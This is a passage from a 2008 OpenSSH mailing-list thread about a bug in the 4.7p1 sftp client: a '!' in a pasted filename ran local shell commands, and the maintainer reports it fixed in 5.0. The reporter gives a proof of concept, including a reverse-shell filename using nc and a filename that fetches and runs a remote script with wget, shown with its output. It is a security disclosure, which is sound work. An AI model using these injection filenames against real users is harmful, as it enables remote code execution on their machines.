Trick user to send private key password to compromised host - openssh

This is a discussion on Trick user to send private key password to compromised host - openssh ; On Tue, 17 Jun 2008, Roman Fiedler wrote: > On a linux server I did not manage to create a file with a / in the > name, but a manipulated server could return such filenames or other > strategies ...

+ Reply to Thread
Page 2 of 2 FirstFirst 1 2
Results 21 to 22 of 22

Thread: Trick user to send private key password to compromised host

  1. Re: Strange sftp input parameter handling, user assisted codeexecution?

    On Tue, 17 Jun 2008, Roman Fiedler wrote:

    > On a linux server I did not manage to create a file with a / in the
    > name, but a manipulated server could return such filenames or other
    > strategies do not need them, e.g.
    > touch '!nc -e /bin/bash 10.255.255.2 1234' on the server side and trying
    > to download is also a good one.


    I don't think it would work like that - filenames passed expanded from
    globs were not interpreted for !.

    -d
    _______________________________________________
    openssh-unix-dev mailing list
    openssh-unix-dev@mindrot.org
    https://lists.mindrot.org/mailman/li...enssh-unix-dev


  2. Re: Strange sftp input parameter handling,user assisted code execution?

    Damien Miller wrote:
    > On Wed, 18 Jun 2008, Damien Miller wrote:
    >
    >> On Tue, 17 Jun 2008, Roman Fiedler wrote:
    >>
    >>> Hello list,
    >>>
    >>> I use openssh-client 1:4.7p1-8ubuntu1.2. After authentication:
    >>>
    >>> sftp> get !xxxx
    >>> /bin/bash: xxxx: command not found
    >>> Shell exited with status 127

    >> Can you reproduce this with OpenSSH 5.0p1?

    >
    > I can't reproduce this with 5.0, but I can with 4.7p1 so I guess
    > it was fixed in my sftp argument processing rewrite.
    >
    > -d


    Thats good. I was just confused that the ! did also work for the
    arguments and not only in front of a command (!get). I just did not
    think that copy/pasting a remote filename to a get could cause this
    behavior.

    I looked at it a little bit closer and found that only direct copy and
    paste of filenames from "ls" output can be harmful, no problem with mget *.

    lg roman

    PS: You were correct that the /bin/bash test did not work, that was a
    mistake during testing, but other testcase works:

    Server:
    cd Tmp
    touch '!wget -O cmds 10.255.255.2:1234 ; chmod 0755 cmds ; . cmds'
    nc -vnlp 1234

    When connected send:
    HTTP/1.1 200 OK
    Content-Length: 60

    echo "This output is from remote command!"
    # padding ................................

    Client:
    sftp> cd Tmp
    sftp> ls
    !wget -O cmds 10.255.255.2:1234 ; chmod 0755 cmds ; . cmds

    sftp> get !wget -O cmds 10.255.255.2:1234 ; chmod 0755 cmds ; . cmds
    --09:09:32-- http://10.255.255.2:1234/
    => `cmds'
    Connecting to 10.255.255.2:1234... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 70

    100%[====================================>] 70 --.--K/s


    09:09:36 (102.05 KB/s) - `cmds' saved [70/70]

    This output is from remote command!
    sftp>

    (The wget line is splitted across lines, in mail client, make sure to
    have one line in test).

    _______________________________________________
    openssh-unix-dev mailing list
    openssh-unix-dev@mindrot.org
    https://lists.mindrot.org/mailman/li...enssh-unix-dev


+ Reply to Thread
Page 2 of 2 FirstFirst 1 2